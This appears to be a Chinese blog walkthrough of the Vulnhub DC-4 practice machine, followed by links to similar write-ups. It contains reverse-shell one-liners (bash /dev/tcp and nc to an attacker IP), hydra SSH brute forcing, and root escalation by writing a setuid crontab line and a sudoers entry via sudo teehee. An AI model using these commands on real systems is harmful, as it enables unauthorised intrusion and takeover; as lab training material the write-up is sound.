信息搜集

nmap -sP 192.168.146.0/24 #扫网段看看存活的主机,找到靶机

nmap -sS -Pn -A 192.168.146.141



可以看到开放了22和80端口,那么就可以猜测下,可能要爆破ssh密码或者得到账号密码直接ssh连上去。

这里先访问web页面,只有一个登陆页面,那就先扫描下目录。



看到访问command.php后又跳转回index.php,那么估计是要登陆才可以使用了。

getFlag

Web登陆密码爆破

这里没什么线索,但是登陆不用填验证码,就直接尝试爆破吧。



爆破出用户名*,密码happy。





也就是说这里只用密码happy就能登陆

命令执行之反弹shell

登陆进页面看到命令执行选项,这种情况估计就是参数传递命令,抓个包看看就行了。



可以看到确实是在radio参数传输命令,但是这样比较麻烦,尝试反弹shell。

bash -i >& /dev/tcp/192.168.146.131/4444 0>&1

这里要将&符号url编码下,以便区分参数间的&符号,当然可以直接全部url编码下。bash反弹失败

nc 192.168.31.131 4444 -t /bin/bash #nc反弹成功



根据之前的靶机,可以直接进入/home目录下看看有哪些用户

经检测,charles和sam目录无法ls出文件,而jim可以。



大概就是mbox我们没有读的权限,backups里面又一堆旧密码,test.sh内容如下

SSH密码爆破

信息搜集的时候我们就知道22端口是开着的,可以ssh上去。

所以这里的old-passwords可能是jim进行ssh的旧密码(现在的密码也可能在其中),那么就down下来用hydra爆破下。

hydra -l jim -P pwd.txt ssh://192.168.146.141



爆破出用户名是jim,密码是jibril04。直接连上去

提权

ssh jim@192.168.146.141

登陆进去看mbox,是一封邮件

既然有邮件,就想到去/var/mail目录下看看,看到邮件的具体内容。有Charles发来的密码。



密码是^xHhA&hvim0y,准备登陆charles了。在这之前,先看看jim有没有sudo权限,好的是没有的。

sudo -l

有密码了,直接ssh连上去,ls -al查看charles目录下的内容

看这三个文件没有发现什么有用的信息。那就也来看看有没有sudo权限。



可以发现,可以不用密码使用root权限操作/usr/bin/teehee,这个可执行文件,查看下帮助。



它可以将标准输入复制到每个文件,那么好办了,既然可以用root权限写文件?那岂不是直接快乐就完事了?

测试下:(成功写入文件)

想想几个重要的文件,无非就是定时任务文件(crontab),sudoers文件

先来玩玩定任务文件把。

echo "* * * * * root chmod 4777 /bin/sh" | sudo teehee -a /etc/crontab

再来写/etc/sudoers文件,先看看本地sudoers文件的语法。



仿造写一个 charles ALL=(ALL:ALL) ALL



可以看到现在charles可以以root用户身份运行所有命令

总结

总的来说这个靶机也并不难,学到的东西好像也并不是很多。。。

主要就学到了利用suid提权,这个利用这个root权限可以写文件。之后就是有写文件权限提权的思路了。

Vulnhub DC-4靶机渗透的更多相关文章

  1. DC 1-3 靶机渗透

    DC-1靶机 端口加内网主机探测,发现192.168.114.146这台主机,并且开放了有22,80,111以及48683这几个端口. 发现是Drupal框架. 进行目录的扫描: 发现admin被禁止 ...

  2. Vulnhub DC-1靶机渗透学习

    前言 之前听说过这个叫Vulnhub DC-1的靶机,所以想拿来玩玩学习,结果整个过程都是看着别人的writeup走下来的,学艺不精,不过这个过程也认识到,学会了很多东西. 所以才想写点东西,记录一下 ...

  3. VulnHub CengBox2靶机渗透

    ​本文首发于微信公众号:VulnHub CengBox2靶机渗透,未经授权,禁止转载. 难度评级:☆☆☆☆官网地址:https://download.vulnhub.com/cengbox/CengB ...

  4. VulnHub PowerGrid 1.0.1靶机渗透

    ​本文首发于微信公众号:VulnHub PowerGrid 1.0.1靶机渗透,未经授权,禁止转载. 难度评级:☆☆☆☆☆官网地址:https://download.vulnhub.com/power ...

  5. Vulnhub靶机渗透 -- DC5

    信息收集 通过nmap搜索到IP为:192.168.200.11 开启了80http.111RPC服务端口 先打开网页,然后进行目录爆破 contact.php 攻击 经搜索没有发现可以攻击wheel ...

  6. Vulnhub DC-9靶机渗透

    信息搜集 nmap -sP 192.168.146.0/24 #主机发现 nmap -A 192.168.146.147 #扫描端口等信息 22端口过滤,80端口开放,同样的从80端口入手. 不是现成 ...

  7. Vulnhub靶机渗透 -- DC6

    信息收集 开启了22ssh和80http端口 ssh可以想到的是爆破,又或者是可以在靶机上找到相应的靶机用户信息进行登录,首先看一下网站信息 结果发现打开ip地址,却显示找不到此网站 但是可以发现地址 ...

  8. vulnhub-DC:2靶机渗透记录

    准备工作 在vulnhub官网下载DC:1靶机https://www.vulnhub.com/entry/dc-2,311/ 导入到vmware 打开kali准备进行渗透(ip:192.168.200 ...

  9. vulnhub-DC:1靶机渗透记录

    准备工作 在vulnhub官网下载DC:1靶机https://www.vulnhub.com/entry/dc-1,292/ 导入到vmware 打开kali准备进行渗透(ip:192.168.200 ...

  10. vulnhub-DC:3靶机渗透记录

    准备工作 在vulnhub官网下载DC:1靶机www.vulnhub.com/entry/dc-3,312/ 导入到vmware 导入的时候遇到一个问题 解决方法: 点 "虚拟机" ...

随机推荐

  1. 求你了,别再说Java对象都是在堆内存上分配空间的了!

    Java作为一种面向对象的,跨平台语言,其对象.内存等一直是比较难的知识点,所以,即使是一个Java的初学者,也一定或多或少的对JVM有一些了解.可以说,关于JVM的相关知识,基本是每个Java开发者 ...

  2. [转载]Linux服务器丢包故障的解决思路及引申的TCP/IP协议栈理论

    Linux服务器丢包故障的解决思路及引申的TCP/IP协议栈理论 转载至:https://www.sdnlab.com/17530.html 我们使用Linux作为服务器操作系统时,为了达到高并发处理 ...

  3. 从火箭发场景来学习Java多线程并发闭锁对象

    从火箭发场景来学习Java多线程并发闭锁对象 倒计时器场景 在我们开发过程中,有时候会使用到倒计时计数器.最简单的是:int size = 5; 执行后,size—这种方式来实现.但是在多线程并发的情 ...

  4. Python 3.9 新特性:任意表达式可作为装饰器!

    一个月前(2月20日),一则新的 PEP 没有受到任何阻碍就被官方采纳了,这么快的速度,似乎并不多见. 然而,更为高效率的是,仅在半个月内,它的实现就被合入了代码仓.也就是说,我们最快有望在 3 天后 ...

  5. JVM 参数(转)

    Herry灬凌夜  转自:https://www.cnblogs.com/wuyx/p/9627542.html 常用的JVM配置参数 一.Trace 跟踪参数 在Eclipse中,如何打开GC的监控 ...

  6. 《仙剑奇侠传柔情版》Java的简单实现(二)

    基于<仙剑奇侠传柔情版>Java的简单实现(二) 2018-12-02 by Kris 需要上次的GameFrame.class中窗口框架承载:https://www.cnblogs.co ...

  7. JDBC封装-Java(新手)

    JDBC的封装,自己总结的自己总结的自己总结的 dao (代码分层)命名规范: 1.com.XXX.dao 存放dao相关的类型 例如 StudentDAOImpl 处理 数据库的链接 存取数据 2. ...

  8. Java内部类的四种分类以及作用介绍

    内部类内容解析 内部类的区分 内部类分别有成员内部类.局部内部类.匿名内部类.静态内部类,接下来将分别介绍. 成员内部类 就是位于外部类成员位置的类.与外部类的属性.方法并列. 成员内部类作为外部类的 ...

  9. mybatis3.2.7应用_高级映射(一对一、一对多、多对多)

    1. 一对一查询 需求:查询订单信息,关联查询创建订单的用户信息 1.1 使用resultType实现 1.1.1 sql语句 确定查询的主表:订单表       确定查询的关联表:用户表      ...

  10. Diagnostics: File file:/private/tmp/spark-d4ebd819-e623-47c3-b008-2a4df8019758/__spark_libs__6824092999244734377.zip does not exist java.io.FileNotFoundException: File file:/private/tmp/spark-d4ebd819

    spark伪分布式模式 on-yarn出现一下错误 Diagnostics: File file:/private/tmp/spark-d4ebd819-e623-47c3-b008-2a4df801 ...